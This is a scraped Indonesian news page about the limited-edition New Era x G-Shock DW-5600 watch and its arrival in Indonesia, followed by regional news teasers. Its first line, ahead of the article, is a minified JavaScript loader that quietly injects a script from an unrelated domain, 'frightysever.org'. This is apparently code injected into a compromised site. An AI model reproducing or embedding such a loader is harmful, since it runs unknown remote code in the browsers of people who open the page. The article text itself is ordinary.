(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lifestyle

New Era x G-Shock DW-5600, Indonesia Cuma Kebagian 50 Biji


Setelah rilis pertama pada September 2018, jam tangan edisi terbatas kolaborasi New Era x G-Shock DW-5600 ini, kini sudah bisa didapatkan di Indonesia. Arloji ini boleh dibilang merupakan salah satu seri kolaborasi paling ditunggu-tunggu. Salah satu alasannya karena ini seri terbatas yang hanya diproduksi 2000 buah di dunia, dan Indonesia termasuk salah satu negara Asia Tenggara yang dilirik G-Shock untuk jadi tempat penjualan, selain Singapura, Thailand dan Vietnam. “Untuk Indonesia cuma kebagian 50 buah. Dan ini kita sangat beruntung bisa dapatkan hak jual di Indonesia,” ungkap Marketing Communication PT Gilang Agung Persada (GAP) selaku distributor G-Shock di Indonesia, Mora Lubis diberitakan Kompas.com, Jakarta, Rabu (10/10).

Menariknya, selain terbatas, arloji kolaborasi penanda tahun ke-35 G-Shock ini memiliki sisi keunikan lain dari desain. Model dasar dalam kolaborasi ini, misalnya, merupakan model kotak DW-5600, dengan bentuk dan warna gelap yang mengingatkan akan G-Shock original.  Bagian muka dari arloji ini berwarna hitam dan gelap, yang berasal dari stiker ciri khas dari model topi baseball 59FIFTY, serta tampak muka kaca jam tangan dihiasi dengan warna hitam matte seperti pada bagian “t”, sehingga membuat warna emasnya menjadi semakin menonjol. Selain itu, pada bagian bagian belakang jam tangan kian menarik karena terdapat 1080 bendera New Era, sedangkan logo perayaan 35 tahun G-Shock dan 59FIFTY diletakkan pada bagian depan.  “Belum lagi kotak jam yang dibuat seperti topi khas New Era,” kata Mora yang menyebut harga arloji kolaborasi ini sekitar Rp 2,9 juta. Walau desain mengalami perubahan, namun dari segi fitur, arloji ini masih memakai bawaan lama, seperti ketahanan air hingga 200 meter, stopwatch, penghitung waktu mundur, kalender otomatis sampai 2039, hingga tahan guncangan. (kmps)

Reporter : Kmps
Editor : Bie

Desy Arfianty

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

10 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

11 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

12 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

16 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

19 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.